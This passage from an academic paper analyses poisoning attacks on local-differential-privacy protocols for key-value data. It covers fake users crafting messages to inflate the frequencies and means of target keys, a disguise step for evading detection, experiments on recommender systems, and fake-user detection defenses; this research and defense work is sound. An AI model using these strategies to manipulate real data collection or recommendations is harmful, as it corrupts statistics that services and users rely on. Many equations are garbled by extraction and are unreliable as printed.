a =
1

2
,b =

2

eε +3
, p = eε/(eε +1) . (10)

• PCKV-GRR: PCKV-GRR leverages Generalized Random

Response (GRR) to perturb KV pairs. Specifically, the KV

pair 〈k,v∗〉 is randomly perturbed into 〈k′,v′〉 as follows:

〈
k′,v′

〉
=

⎧⎪⎪⎨
⎪⎪⎩

〈k,v∗〉, w.p. a · p
〈k,−v∗〉, w.p. a · (1− p)
〈i,1〉, w.p. b ·0.5
〈i,−1〉, w.p. b ·0.5

, (11)

where i ∈ K ′ \ {k} and a, b, and p are as follows:

a =
�(eε −1)+2

�(eε −1)+2d′ ,b =
1−a
d′ −1

, p =
�(eε −1)+1

�(eε −1)+2
.

(12)

The perturbed KV pair 〈k′,v′〉 is sent to the server.

Aggregate Due to the difference in Perturb step, the Aggre-

gate steps for PCKV-UE and PCKV-GRR are also different.

Given a key k, we respectively use nk
1 and nk

−1 to denote the

number of users that support the KV pairs 〈k,1〉 and 〈k,−1〉.
In particular, they can be computed as follows:

• PCKV-UE: Recall that, in PCKV-UE, y[k] contains the

value information of the key k. We say y[k] supports 〈k,1〉
(or 〈k,−1〉) if y[k] = 1 (or y[k] =−1). Then, we can com-

pute nk
1 (or nk

−1) as the number of users whose perturbed

vectors satisfy y[k] = 1 (or y[k] =−1).

• PCKV-GRR: In PCKV-GRR, each user sends a single

perturbed KV pair 〈k′,v′〉 to the server. Similar to PCKV-

UE, we say 〈k′,v′〉 supports 〈k,1〉 (or 〈k,−1〉) if k′ = k and

v′ = 1 (or v′ = −1). Then, we can compute nk
1 (or nk

−1)

as the number of users whose perturbed KV pairs satisfy

k′ = k and v′ = 1 (or v′ =−1).

Given nk
1 and nk

−1, the server can estimate the frequency of

key k as follows:

f̂k =

(
nk

1 +nk
−1

)
/n−b

a−b
· �, (13)

The estimated mean value of the key k is computed as follows:

m̂k = �
(

n̂k
1 − n̂k

−1

)
/
(
n f̂k

)
, (14)

where [
n̂k

1

n̂k
−1

]
= A−1

[
nk

1 −nb/2

nk
−1 −nb/2

]
, (15)

A =

[
ap− b

2 a(1− p)− b
2

a(1− p)− b
2 ap− b

2

]
. (16)

We note that in all the three LDP protocols, the server can

clip the estimated frequency f̂k to be 1
n if it is smaller than

1
n and to be 1 if it is larger than 1. Moreover, the server can

clip the support counts n̂k
1 and n̂k

−1 into the range of [0, n f̂k
� ] in

PCKV-UE and PCKV-GRR, as well as the range of [0,nk] in

PrivKVM, before using them to estimate the mean value.

4 Threat Model

Attacker’s capability and background knowledge We

assume that the attacker is able to inject some fake users

into the system. Previous measurement study [41] has

shown that an attacker can easily obtain a large number of

fake/compromised users in online web services such as Twit-

ter and Facebook. Specifically, we assume that the attacker

has access to m fake users. Together with the n genuine users,

the server estimates frequencies and mean values of keys

among the n+m users. For each fake user, the attacker can

arbitrarily craft its message sent to the server. An attacker

has access to the parameters of the LDP protocol since the

LDP protocol is executed on a user side. Specifically, an

attacker has access to the dictionary of keys, as well as the

implementation details of the Sample and Perturb steps of the

LDP protocol.

Attacker’s goal An attacker aims to promote some target

keys. We assume r target keys and denote them as a set T=
{k1,k2, · · · ,kr}. The attacker aims to increase the estimated

frequencies and mean values of the target keys via sending

carefully crafted messages from the fake users to the server.

Without loss of generality, we assume the m fake users have

IDs n+ 1,n+ 2, · · · ,n+m. We denote the set of messages

the fake users send to the server as Y= {yi}n+m
i=n+1, where yi

is the message fake user i sends to the server. We denote

by f̂k and f̃k the estimated frequency of key k among the n
genuine users and all the n+m users, respectively. Moreover,

we denote by G f (Y) = ∑k∈TE[Δ f̂k] the frequency gain of the

target keys, where Δ f̂k = f̃k − f̂k and the expectation is taken

over the randomness in a LDP protocol.

Similarly, we denote by m̂k and m̃k the estimated mean

value of key k among the n genuine users and all the n+m
users, respectively. Furthermore, we denote by Gm(Y) =

∑k∈TE[Δm̂k] the mean gain of the target keys, where Δm̂k =
m̃k − m̂k and the expectation is taken over the randomness in a

LDP protocol. An attacker aims to simultaneously maximize

the frequency gain and mean gain via carefully crafting the

messages Y. We propose to formulate such an attack goal as

the following two-objective optimization problem:

max
Y

[
G f (Y)
Gm(Y)

]
. (17)

Note that we consider the target keys are weighted equally

for simplicity. However, our formulation can be extended
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to the scenario where the attacker assigns different weights

to different target keys in the frequency and mean gains. A

method to solve the two-objective optimization problem is a

poisoning attack to a LDP protocol for key-value data.

5 Our Attacks

We first introduce our three attacks and then apply them to

PrivKVM, PCKV-UE, and PCKV-GRR.

5.1 Three Attacks
We propose Maximal Gain Attack (M2GA), which solves the

two-objective optimization problem to construct the optimal

messages the fake users should send to the server. To show the

effectiveness of M2GA, we also propose two baseline attacks:

Random Message Attack (RMA) and Random Key-Value Pair
Attack (RKVA). Next, we describe them one by one.

5.1.1 M2GA

Our idea is to unify the frequency gain and mean gain for

different LDP protocols under the same framework, based on

which we transform the two-objective optimization problem

to be one that is easier to solve.

Unifying the frequency gain We first observe that the es-

timated frequency f̂k can be unified as Eq. 13. In particular,

as discussed in Section 3.3, PCKV-UE and PCKV-GRR use

Eq. 13 to calculate f̂k. We can also use Eq. 13 to calculate

f̂k in PrivKVM, where the parameters a, b, and l are set as

follows:

a =
eε1

eε1 +1
,b =

1

eε1 +1
, �= 1. (18)

Therefore, we can represent the frequency gain G f (Y) as:

G f (Y) = ∑
k∈T

E
[

f̃k − f̂k
]

= ∑
k∈T

�

{
E

[
(nk

1 +nk
−1 + ñk

1 + ñk
−1)/(n+m)−b

a−b

]

−E

[
(nk

1 +nk
−1)/n−b

a−b

]}
,

where nk
1 and nk

−1 respectively are the support counts of 〈k,1〉
and 〈k,−1〉 among the n genuine users, while ñk

1 and ñk
−1 are

the ones among the m fake users. We note that the messages Y

only affect the term ∑k∈TE[
(ñk

1+ñk
−1)

(n+m)(a−b) ] and the denominator

(n+m)(a− b) is irrelevant in the optimization for a given

setting of LDP protocol. Therefore, optimizing the frequency

gain is equivalent to optimizing the following:

max
Y

∑
k∈T

(E[ñk
1]+E[ñk

−1]). (19)

Moreover, the frequency gain can be simplified as follows:

G f (Y) =
�

(n+m)(a−b) ∑
k∈T

(E[ñk
1]+E[ñk

−1])− c, (20)

where c = ∑k∈T
m�(nk

1+nk
−1)

n(n+m)(a−b) =
m�

n+m ( fT+ rb
a−b ). fT = ∑k∈T fk

is the sum of the true frequencies of all target keys, which is

a constant.

Unifying the mean gain Similar to frequency estimation,

the estimated mean value can also be unified in the following

equation:

m̂k =

(
nk

1 −nk
−1

)
(a−b)

a(2p−1)
(
nk

1 +nk
−1 −nb

) , (21)

where the parameters a, b, p, and l are described in Section 3.3

for PCKV-UE and PCKV-GRR, and they are set as follows

for PrivKVM:

a = 1,b = 0, p =
eε2

eε2 +1
, l = 1. (22)

Then, we can represent the mean gain Gm(Y) as follows:

Gm(Y) = ∑
k∈T

E [m̃k − m̂k]

= ∑
k∈T

{
E

[ (
nk

1 −nk
−1 + ñk

1 − ñk
−1

)
(a−b)

a(2p−1)
(
nk

1 +nk
−1 + ñk

1 + ñk
−1 − (n+m)b

)
]

−E

[ (
nk

1 −nk
−1

)
(a−b)

a(2p−1)
(
nk

1 +nk
−1 −nb

)
]}

. (23)

However, unlike the frequency gain, it is non-trivial to

compute the two expectations above because they involve

divisions between random variables. Specifically, since nk
1

and nk
2 are random variables, both the numerator and the de-

nominator are random variables. To address the challenge, we

propose to use the first-order Taylor expansion of functions of

random variables [9] to approximately compute Gm. Specif-

ically, given two random variables X and Y , the first-order

Taylor expansion means the following:

E

[
X
Y

]
≈ E[X ]

E[Y ]
. (24)

Note that we have the following:

E[nk
1 −nk

−1] = n
fk

�
a(2p−1)mk,

E[nk
1 +nk

−1 −nb] = n
fk

�
(a−b),

where fk and mk are the true frequency and mean value of k.
Thus, based on the first-order Taylor expansion, we have:

Gm ≈ ∑
k∈T

(
a−b

a(2p−1)

n fka(2p−1)mk/�+E[ñk
1]−E[ñk

−1]

n fk(a−b)/�+E[ñk
1]+E[ñk

−1]−mb
−mk

)
.

(25)
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For simplicity, we denote ck
1 = n fka(2p−1)mk/� and ck

2 =
n fk(a− b)/�−mb. Then, we approximate optimizing the

mean gain as follows:

max
Y

∑
k∈T

E[ñk
1]−E[ñk

−1]+ ck
1

E[ñk
1]+E[ñk

−1]+ ck
2

. (26)

Reformulated two-objective optimization problem By

combining Eq. 19 and 26, we re-formulate our two-objective

optimization problem as follows:

max
Y

⎡
⎣∑k∈T(E[ñk

1]+E[ñk
−1])

∑k∈T
E[ñk

1]−E[ñk
−1]+ck

1

E[ñk
1]+E[ñk

−1]+ck
2

⎤
⎦ . (27)

5.1.2 RMA

In this baseline attack, each fake user picks a message uni-

formly at random from the message domain allowed by a

LDP protocol and sends it to the server.

5.1.3 RKVA

RMA does not consider any information about the target

keys. Different from RMA, RKVA considers the target keys.

Specifically, each fake user picks a random target key k, pairs

it with an extreme value 1, and the constructed KV pair is

viewed as the fake user’s KV pair. Then, the constructed

KV pair is processed by the LDP protocol and the resulting

message is sent to the server.

5.2 Attacking PrivKVM
5.2.1 M2GA

Recall that PrivKVM is an iterative procedure, in which the

frequency estimation is performed in the first round while the

mean estimation is performed in each round and the estimated

mean values in the last round are used. Solving Eq. 27 exactly

is non-trivial. Therefore, we propose a two-step approximate

solution, which first optimizes the frequency gain and then

approximately optimizes the mean gain.

Since each user in PrivKVM sends a key index and a tuple

to the server, we craft such message for each fake user such

that Eq. 19 is maximized. For PrivKVM, a fake user can only

inject a single key to be counted by the server. That is, a

fake user can only increase either ñk
1 or ñk

−1 for a single key k.

Therefore, for each fake user, we randomly select a target key

k, and send the index k and the tuple 〈1, ·〉 to the server, where

the reported value does not influence the frequency gain and

we will discuss it for optimizing the mean gain. Thus, we

have ∑k∈T(E[ñk
1]+E[ñk

−1]) = m, and we have the frequency

gain as G f =
m

(n+m)(a−b) − c, where the parameters a,b are

defined in Eq. 18. In practice, for each target key, m
r fake

users send messages including the target key to the server.

For mean estimation, we attack each round of PrivKVM.

Specifically, in PrivKVM, the value sent to the server is either

1 or -1. Therefore, to increase the estimated mean, a fake user

always sends value 1 for a target key. In other words, we have

E[ñk
1] =

m
r and E[ñk

−1] = 0 for each target key k. The mean

gain is as follows: Gm ≈ ∑k∈T a−b
a(2p−1)

n fka(2p−1)mk/�+m/r
n fk(a−b)/�+m/r−mb) −

mk, where a,b, p are given in Eq. 22.

To summarize, each fake user sends a random target key

and value 1 to the server in each round of PrivKVM.

5.2.2 RMA

In RMA, each fake user randomly chooses a key k from the

entire dictionary. Then, the fake user randomly chooses a

tuple to report to the server. Specifically, 〈0,0〉 is chosen with

a probability of 1
2 , while 〈1,−1〉 and 〈1,1〉 are each chosen

with probability 1
4 .

Therefore, we have a probability of 1
2d that the message of

a fake user supports key k, and the KV pairs 〈k,1〉 and 〈k,−1〉
would be supported with equal probabilities. Thus, we have

E[ñk
1] = E[ñk

−1] =
m
4d . By plugging the values into Eq. 20 and

Eq. 25, we have the frequency gain of G f =
mr

2(n+m)(a−b)d − c,

and the mean gain of Gm ≈∑k∈T a−b
a(2p−1)

n fka(2p−1)mk
n fk(a−b)+m/(2d)−mb −

mk. Again, we note that the parameters a,b, p are different in

G f and Gm.

5.2.3 RKVA

In RKVA, each fake user picks a target key k uniformly at ran-

dom and the fake user’s tuple is 〈1,1〉. This tuple is perturbed

according to the Perturb step of the PrivKVM protocol. The

perturbed tuple still supports k with a probability of eε1

eε1+1
,

and the value is inverted with a probability of 1
1+eε2

.

Therefore, we have E[ñk
1] = E[ñk

−1] =
meε1

2r(eε1+1)
. E[ñk

1] =
meε1 eε2

r(eε1+1)(1+eε2 )
and E[ñk

−1] =
meε1

r(eε1+1)(1+eε2 )
. The frequency

gain is G f =
meε1

(n+m)(a−b)(eε1+1)
−c, and the mean gain is Gm ≈

∑k∈T a−b
a(2p−1)

n fka(2p−1)mk+meε1 (eε2−1)/r(eε1+1)(1+eε2 )
n fk(a−b)+meε1/(r(eε1+1))−mb −mk.

5.3 Attacking PCKV-UE
5.3.1 M2GA

In PCKV-UE, each user sends a vector of length d + � to

the server, and each dimension is checked independently on

whether it supports the corresponding key. Therefore, a single

user could support multiple keys.

For each fake user, we put a 1 or -1 in all the dimensions

corresponding to the target keys. Therefore, a single fake

user can increase ñk
1 or ñk

−1 for all k ∈ T. For the remaining

dimensions, if we simply leave them as 0, the server may

easily detect that these messages are from fake users. To

address this issue, we sample some dimensions and set them
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to 1 or -1, such that the vectors we craft for the fake users

would have the same number of 1 bits and -1 bits as the ex-

pectation of the genuine users’. Specifically, if a genuine user

samples a KV pair 〈·,1〉 (or 〈·,−1〉) to report, the perturbed

vector would have �ap+ (d′ − 1)(b/2)	 1 (or -1) bits and

a(1− p)+ (d′ − 1)(b/2) -1 (or 1) bits on expectation. We

note that this form of disguise does not affect the frequency

gain and mean gain for the target keys.

Therefore, we have ñk
1 + ñk

−1 = m for each target key k.

The frequency gain is G f =
mr�

(n+m)(a−b) − c. To further max-

imize the mean gain, we solve the optimization problem

of Eq. 26 in the similar way as for PrivKVM. Specifically,

we only need to maximize ñk
1 − ñk

−1 for each target key k
under the constraints of ñk

1 ≥ 0, ñk
−1 ≥ 0 and ñk

1 + ñk
−1 = m.

Therefore, we have the following optimal solution ñk
1 = m

and ñk
−1 = 0. Thus, we obtain the mean gain as: Gm ≈

∑k∈T a−b
a(2p−1)

n fka(2p−1)mk/�+m
n fk(a−b)/�+m(1−b) −mk.

To summarize, each fake user sets the dimensions corre-

sponding to the target keys to 1 in its vector. Moreover, to

evade possible detection, each fake user randomly samples

some other dimensions of its vector and set them to be 1 or -1

such that the vector has the same number of 1 bits and -1 bits

as the expected 1 bits and -1 bits in a genuine user’s vector.

5.3.2 RMA

In PCKV-UE, a message is a vector. For each fake user, we

randomly sample the value of each dimension of the vector.

Specifically, each dimension is randomly set to 1, -1, or 0

with an equal probability of 1
3 . Therefore, we have E[ñk

1] =

E[ñk
−1] =

m
3 . The frequency gain is G f =

2mr�
3(n+m)(a−b)−c. The

mean gain is Gm ≈ ∑k∈T a−b
a(2p−1)

n fka(2p−1)mk/�
n fk(a−b)/�+2m/3−mb) −mk.

5.3.3 RKVA

For each fake user, a random target key k is sampled from T

and paired with a value of 1. The constructed KV pair is then

perturbed by the PCKV-UE protocol. As the perturbation is

independent for each dimension, we only need to focus on

the dimensions corresponding to the target keys in T. Similar

to PrivKVM, if k is selected, its value remains the same

with probability ap and gets inversed to -1 with a probability

of a(1− p). However, different from PrivKVM, if a key

other than k is selected, the perturbed vector supports k with

probability b and the value is 1 or -1 with equal probability
b
2 . Therefore, we have E[ñk

1] =
map+m(r−1)b/2

r and E[ñk
−1] =

ma(1−p)+m(r−1)b/2
r . The frequency gain and the mean gain

are respectively as follows: G f =
ma�+m(r−1)b�
(n+m)(a−b) − c and Gm ≈

∑k∈T
n fkmk/�+m/r

n fk/�+m/r −mk.

5.4 Attacking PCKV-GRR

5.4.1 M2GA

In PCKV-GRR, each user sends a KV pair as the message to

the server. A user supports a KV pair if and only if the mes-

sage he/she sent to the server is exactly the KV pair. There-

fore, similar to PrivKVM, a fake user can only increase the

support count ñk
1 or ñk

−1 of a single target key. Similar to

PrivKVM, we have ∑k∈TE
[
ñk

1 + ñk
−1

]
= m. The frequency

gain is G f =
m�

(n+m)(a−b) − c.

The mean gain for each target key is then maximized

in the same way as each round of PrivKVM, where we

set ñk
1 = m

r and ñk
−1 = 0, i.e., we set all the values in the

KV pairs sent to the server to 1. Thus, the mean gain is

Gm ≈ ∑k∈T a−b
a(2p−1)

n fka(2p−1)mk/�+m/r
n fk(a−b)/�+m/r−mb −mk.

To summarize, each fake user sends a random target key

and value 1 to the server.

5.4.2 RMA

For each fake user, we randomly select a target key and

set its corresponding value as -1 or 1 uniformly at random

, which is the KV pair sent to the server. Therefore, we

have E[ñk
1] = E[ñk

−1] =
m

2d′ . We have the frequency gain

as G f = mr�
(n+m)(a−b)d′ − c, while the mean gain as Gk

m ≈
∑k∈T a−b

a(2p−1)
n fka(2p−1)mk/�

n fk(a−b)/�+m/d′−mb −mk.

5.4.3 RKVA

For each fake user, we randomly select a target key k from

T and choose its value 1 to construct a KV pair. The KV

pair is then perturbed according to the Perturb step of the

PCKV-GRR protocol. The KV pair after perturbation still

keeps k as its key with a probability of a, and a key other than

k gets perturbed to k with a probability of b. Therefore, we get

E[ñk
1] =

map+m(r−1)b/2
r and E[ñk

−1] =
ma(1−p)+m(r−1)b/2

r . We

have G f =
ma�+m(r−1)b�
(n+m)(a−b) −c and Gm ≈∑k∈T

n fkmk/�+m/r
n fk/�+m/r −mk.

5.5 Theoretical Analysis

Table 2 summarizes the analytical forms of the frequency

gains of our three attacks for the three LDP protocols, while

Table 3 summarizes the analytical forms of the approximate

mean gains of our three attacks for the three LDP protocols.

We have replaced the protocol-dependent parameters a, b,

and p in the analytical forms. We note that we do not con-

sider clipping the estimated frequency f̂k and support counts

nk
1,n

k
−1 when deriving the analytical forms.

First, we observe that M2GA outperforms RMA and

RKVA. This is because M2GA crafts the fake users’ messages

via solving a two-objective optimization problem. In partic-

ular, our two objectives are non-convex. However, M2GA
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Table 2: Frequency gains of the three attacks for PrivKVM, PCKV-UE, and PCKV-GRR. β = m
n is the fraction of fake users,

fT = ∑k∈T fk is the sum of true frequencies of the target keys, ε is the privacy budget, d is the total number of keys, � is the

padding length, d′ = d + � is the padded dictionary size, and r is the number of target keys.

PrivKVM PCKV-UE PCKV-GRR

M2GA
β

1+β

[
1− fT+ 2−r

eε/2−1

]
β�

1+β
[
2r− fT+ 4r

eε−1

] β
1+β

[
(1− fT)�+

2(d′−r)
eε−1

]
RMA

β
1+β

[
(eε/2−2d+1)r

2(eε/2−1)d
− fT

]
β�

1+β

[
4eεr

3(eε−1) − fT
]

β(r− fTd′)�
(1+β)d′

RKVA
β

1+β

[
1− fT+ 1−r

eε/2−1

]
β�

1+β (1− fT)
β�

1+β (1− fT)

Table 3: Approximate mean gains of the three attacks for PrivKVM, PCKV-UE, and PCKV-GRR. fk is the true frequency of key

k, mk is the true mean value of k, ε2 =
ε

2Niter
is the privacy budget in each round of PrivKVM, and Niter is the number of rounds.

PrivKVM PCKV-UE PCKV-GRR

M2GA ∑k∈T
fkmkr+ eε2+1

eε2−1
β

fkr+β −mk ∑k∈T
2β�(eε+1)+(eε−1) fkmk

2β�(eε+1)+(eε−1) fk
−mk ∑k∈T

(eε−1)(β�+ fkmkr)+2βd′
β[(eε−1)�+2(d′−r)]+(eε−1) fkr −mk

RMA ∑k∈T
2 fkmkd
2 fkd+β −mk ∑k∈T

3(eε−1) fkmk
3(eε−1) fk+4eεβ� −mk ∑k∈T

fkmkd′
fkd′+β� −mk

RKVA ∑k∈T
fkmkr(eε/2+1)+eε/2β

fk(eε/2+1)+eε/2β
−mk ∑k∈T

fkmkr+β�
fkr+β� −mk ∑k∈T

fkmkr+β�
fkr+β� −mk

achieves the optimal frequency gain for the three LDP pro-

tocols in all cases, as we discussed when describing M2GA

for each protocol. Moreover, in a given execution of a LDP

protocol, M2GA also achieves the optimal mean gain if there

is only one target key k (i.e., r = 1) and nk
1 ≥ nk

−1 >
(n+m)b

2
(Appendix A.1 shows the proof). Second, we observe that the

frequency gain of an attack increases as the fraction of fake

users increases. However, we do not have this observation

for mean gains. We suspect the reason is that the mean gain

depends on the estimated frequency and that we approximate

the mean gains via Taylor expansion. Third, the frequency

gain is larger when the total true frequencies fT of the target

keys is smaller. This is because the frequency gain is the

difference between the estimated frequencies before and after

attack. Moreover, the approximate mean gain becomes larger

when the true mean value of each target key becomes smaller.

Prior work [7, 11] observed trade-off between security

against poisoning attacks and privacy in LDP protocols for

categorical and numerical data, i.e., such a LDP protocol

is more vulnerable to poisoning attacks if it uses a smaller

privacy budget. Our fourth observation is that such security-

privacy trade-off does not necessarily hold in LDP protocols

for key-value data. In particular, while we observe such

security-privacy trade-off for the frequency gains of M2GA

to PCKV-UE and PCKV-GRR, how the privacy budget ε in-

fluences the frequency gain of M2GA to PrivKVM depends

on r, the number of target keys. Specifically, the frequency

gain of M2GA to PrivKVM increases, does not change, and

decreases as the privacy budget ε decreases when r = 1, r = 2,

and r > 2, respectively. The approximate mean gain of M2GA

Table 4: Dataset statistics. #records indicates the total number

of KV pairs in a dataset, while the 90th-percentile refers to

that of the number of KV pairs possessed per user.

Dataset #users #keys #records 90th-percentile

Synthetic 100,000 100 100,000 1.0

Clothing 105,508 5,850 192,198 3.0

TalkingData 60,822 320 1,327,468 34.0

MovieLens-1M 943 1,682 100,000 244.4

in Table 3 has such security-privacy trade-off as we can verify

that the derivative of the approximate mean gain of M2GA

with respect to ε is negative. However, we do not necessar-

ily observe such security-privacy trade-off for the true mean

gains of M2GA in our experiments. This is because the ap-

proximate mean gains are obtained using Taylor expansion of

the true ones and the protocols clip frequencies and support

counts in practice.

6 Evaluation

6.1 Experimental Setup
6.1.1 Datasets

We evaluate our three attacks, i.e., M2GA, RMA, and RKVA,

on a synthetic dataset and three real-world datasets. The

statistics of the four datasets are shown in Table 4.

• Synthetic: Following [24,49], we create a synthetic dataset

to evaluate our attacks. In particular, we generate 105 users
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Figure 1: Impact of different parameters (β,ε,r) on the fre-

quency gains on Synthetic. The three rows are for PrivKVM,

PCKV-UE, and PCKV-GRR, respectively.

and 100 keys. Each user has a single KV pair. The keys and

the values follow a zero-mean Gaussian distribution, where

the standard deviation is 15 for keys and 1 for values.

• Clothing [1]: This is a clothing fit dataset for product

size recommendation. It contains users’ rating scores for

different products. We treat each product as a key and view

each rating score as a value. Note that each user may have

multiple pairs of 〈product, rating score〉.

• TalkingData [3]: This dataset contains mobile apps down-

loaded by users on their mobile devices. In particular, we

treat each category of mobile apps as a key and view the

number of apps downloaded by a user in a category as a

value. A user may have multiple KV pairs.

• MovieLens-1M [25]: This dataset contains users’ rating

scores for different movies. Each movie is a key and each

rating score is a value. A user may rate multiple movies.

We scale the values in each dataset such that they fall into

the range of [−1,1].

6.1.2 Evaluation Metrics

gain@freq and gain@mean We use frequency gain
(gain@freq) and mean gain (gain@mean) of a set of tar-

get keys as the evaluation metrics. In particular, given a set

of target keys T, gain@freq is computed as ∑k∈TE[Δ f̂k] and

gain@mean is computed as ∑k∈TE[Δm̂k], where Δ f̂k and Δm̂k
respectively measure the frequency gain and mean gain for

the target key k. Note that frequency gain and mean gain

involve expectations. In our experiments, we average the re-

sults over 100 trials to compute the expectations. Since in our

experiments, we clip the estimated frequencies and support

Figure 2: Impact of different parameters (β,ε,r) on the mean

gains on Synthetic. The three rows are for PrivKVM, PCKV-

UE, and PCKV-GRR, respectively.

counts in the LDP protocols, the frequency gains may not be

the same as those in Table 2.

ASR for recommender systems We also consider recom-

mender system as a downstream application. Specifically,

the server first collects the frequency and mean value (i.e.,

average rating score) of each item/key from users using LDP

protocols and then recommends top-t items to all users based

on the statistics. In this downstream application, the attacker’s

goal is to promote the target items/keys to be among the top-t
items recommended by the system. Therefore, we use attack
success rate (ASR) as our metric, which we define as the

fraction of target items that are in the t recommended items

after attack. Note that the target items are not among the t
recommended ones before attack.

We consider three different cases of recommender systems,

i.e., frequency-based recommender system (Case 1), score-

based recommender system (Case 2), and frequency-score-

based recommender system (Case 3). In Case 1, the recom-

mender system recommends the most popular t items, i.e., the

t items with the largest estimated frequencies. Ties are broken

by selecting the item with higher estimated average rating

score. In Case 2, the recommender system recommends t
items with the highest estimated average rating scores. Ties

are broken by selecting the item with larger estimated fre-

quency. In Case 3, the recommender system considers both

the popularity and the average rating score of an item. Specif-

ically, the recommender system calculates the product of the

estimated frequency and (uncalibrated) average rating score

of each item, and recommends the t items with the largest

products. Ties are broken randomly. Roughly speaking, the

product of the estimated frequency and average rating score

of an item is the item’s estimated total rating scores.
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Figure 3: Impact of different parameters (β,ε,r) on the fre-

quency gains on Clothing. The three rows are for PrivKVM,

PCKV-UE, and PCKV-GRR, respectively.

Figure 4: Impact of different parameters (β,ε,r) on the mean

gains on Clothing. The three rows are for PrivKVM, PCKV-

UE, and PCKV-GRR, respectively.

6.1.3 Parameter Settings

The parameters involved are β (the fraction of fake users),

ε (the privacy budget), and r (the number of target keys).

PrivKVM further involves Niter (the number of rounds), while

PCKV-UE and PCKV-GRR further involve � (the padding

length). Unless otherwise mentioned, we set the default val-

ues of these parameters as follows: β = 0.05, ε = 1.0, r = 1,

Niter = 10, � = 1 for Synthetic, � = 2 for Clothing, � = 20

for TalkingData, and � = 100 for MovieLens-1M. We set

� differently for different datasets to consider their different

characteristics, which is suggested by [24]. We set r = 10

and t = 20 by default when evaluating our attacks to the rec-

ommender system downstream application. We randomly

sample r keys from the entire dictionary as the target keys for

Figure 5: Impact of different parameters (β,ε,r) on the

frequency gains on TalkingData. The three rows are for

PrivKVM, PCKV-UE, and PCKV-GRR, respectively.

Figure 6: Impact of different parameters (β,ε,r) on the mean

gains on TalkingData. The three rows are for PrivKVM,

PCKV-UE, and PCKV-GRR, respectively.

each dataset. We vary one parameter while keeping the others

fixed to their default values, to investigate its impact on the

frequency and mean gains. We note that we clip the estimated

frequencies and support counts in the LDP protocols as we

described in Section 3.3.

6.2 Experimental Results
Figure 1–Figure 8 show the frequency gains and mean gains

of our attacks on the four datasets. Figure 9 shows the ASRs

of M2GA to the recommender systems in different cases on

Clothing dataset. Moreover, we also explore the impact of

Niter on our attacks for PrivKVM, and the results are shown in

Figure 10. Note that we don’t show the results of frequency

estimation since the frequencies of keys are estimated only in
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Figure 7: Impact of different parameters (β,ε,r) on the fre-

quency gains on MovieLens-1M. The three rows are for

PrivKVM, PCKV-UE, and PCKV-GRR, respectively.

the first round and thus are not affected by Niter. We have the

following observations:

• In all scenarios, M2GA achieves larger frequency and mean

gains than the two baseline attacks (RMA and RKVA). This

is because M2GA is an optimization based attack.

• RKVA achieves larger frequency gains than RMA except

PCKV-UE, as RKVA considers target keys. RMA achieves

a larger frequency gain for PCKV-UE because the target key

RKVA samples gets perturbed and the perturbed message

in PCKV-UE continues to support this target key with a

probability of 1/2, while a target key is supported with a

probability of 2/3 in RMA.

• M2GA and RKVA achieve larger frequency and mean gains

as the number of fake users (i.e., β) increases. However, the

frequency/mean gains of RMA may increase, not change, or

fluctuate as β increases in different datasets and for different

LDP protocols.

• The security-privacy trade-off does not necessarily hold.

In particular, we observe security-privacy trade-off with

respect to the frequency gains of M2GA (for PrivKVM,

this is because we set r = 1), i.e., the frequency gains of

M2GA decrease as ε increases. However, the mean gains of

M2GA may increase, fluctuate, or decrease as ε increases

in different datasets and for different LDP protocols.

• The mean gains of M2GA increase as the number of tar-

get keys (i.e., r) increases for all the three LDP protocols.

The frequency gains of M2GA decrease as r increases for

PrivKVM. This is because a fake user can only increase the

estimated frequency for a single target key. The frequency

gains of M2GA increase as r increases for PCKV-UE. This

is because a fake user in M2GA can simultaneously support

Figure 8: Impact of different parameters (β,ε,r) on the mean

gains on MovieLens-1M. The three rows are for PrivKVM,

PCKV-UE, and PCKV-GRR, respectively.

all the target keys. However, the frequency gains of M2GA

for PCKV-GRR have different trends on different datasets.

We find that this is mainly caused by clipping the estimated

frequencies and support counts in PCKV-GRR.

• M2GA achieves high ASRs towards the recommender sys-

tems in different cases. Specifically, in Case 1 and Case

3, when β ≥ 0.01 and ε ≥ 1, M2GA achieves close-to-1

ASRs. Our results mean that the recommender system rec-

ommends almost all target items under M2GA. In Case 2,

M2GA still achieves ASRs that are close to 1 for PrivKVM,

while the ASRs for PCKV-UE and PCKV-GRR are close

to 0.5, which means that half of the target keys/items are

among the recommended t items. The ASRs for PCKV-UE

and PCKV-GRR are smaller in Case 2 because the esti-

mated average rating scores of many non-target keys are 1

in PCKV-UE and PCKV-GRR.

• Our strongest attack, i.e., M2GA, is effective for differ-

ent Niter. Specifically, the estimated mean after attack is

consistently 1.0 when Niter ranges from 1 to 10.

7 Defenses

Cao et al. [7] proposed three defenses against poisoning at-

tacks to LDP protocols for categorical data. However, these

defenses cannot be directly applied to defend against our at-

tacks. This is because these defenses rely on the assumption

that each user only holds one single item. In contrast, we

consider key-value data, where each user usually has multiple

KV pairs. We explore two methods to detect fake users as

defenses against our poisoning attacks. For both methods, we

assume the server knows the KV pairs sent from each user.

For one-class classifier based detection, we further assume

the server knows λ fraction of genuine users as ground truth.
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Figure 9: Impact of β, r, ε, and k on ASR of M2GA towards recommender systems (first row: Case 1, second row: Case 2, and

third row: Case 3). Three LDP protocols and Clothing dataset are used.

(a) Synthetic (b) Clothing

(c) TalkingData (d) MovieLens-1M

Figure 10: Impact of Niter on the estimated mean value after

attack for PrivKVM on the four datasets.

7.1 One-class Classifier (OC) based Detection

Detecting fake users is essentially an anomaly detection

problem, where we aim to distinguish fake users as outliers

from the genuine ones. Therefore, we can leverage the one-

class machine learning classifiers that are commonly used

for anomaly (outlier) detection to detect fake users. Specifi-

cally, we treat each user’s messages sent to the server as its

features. For PrivKVM, we concatenate each user’s messages

in multiple rounds as a single feature vector. We can then

use these features as training data to fit an outlier detection

classifier. In our experiments, we use isolation forest [35]. An

isolation forest trains an ensemble of randomly partitioned

trees to detect outliers. After training, the isolation forest can

categorize the users into two groups. We assume the server

already knows λ fraction of the genuine users as ground truth.

Moreover, the server treats the group which includes more

ground-truth genuine users as the “genuine” group and the

other one as the “fake” group. The users in the “fake” group

are considered as fake users and are excluded from aggrega-

tion. The server only uses the messages sent by users in the

“genuine” group to estimate the frequencies and mean values.

In our experiments, we use the implementation of isolation

forest in Scikit-learn [2].

7.2 Anomaly Score (AS) based Detection
We note that, multiple rounds of communications are con-

ducted in PrivKVM, allowing us to check the consistency of

the messages sent by a user in different rounds. Based on

this observation, we propose a method to detect fake users

for PrivKVM. Recall that, in PrivKVM, each user sends a
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Figure 11: Impact of β, r, and λ on FPR (first row) and FNR (second row) of detecting fake users against M2GA on TalkingData.

Figure 12: Impact of β and r on the defense effectiveness of

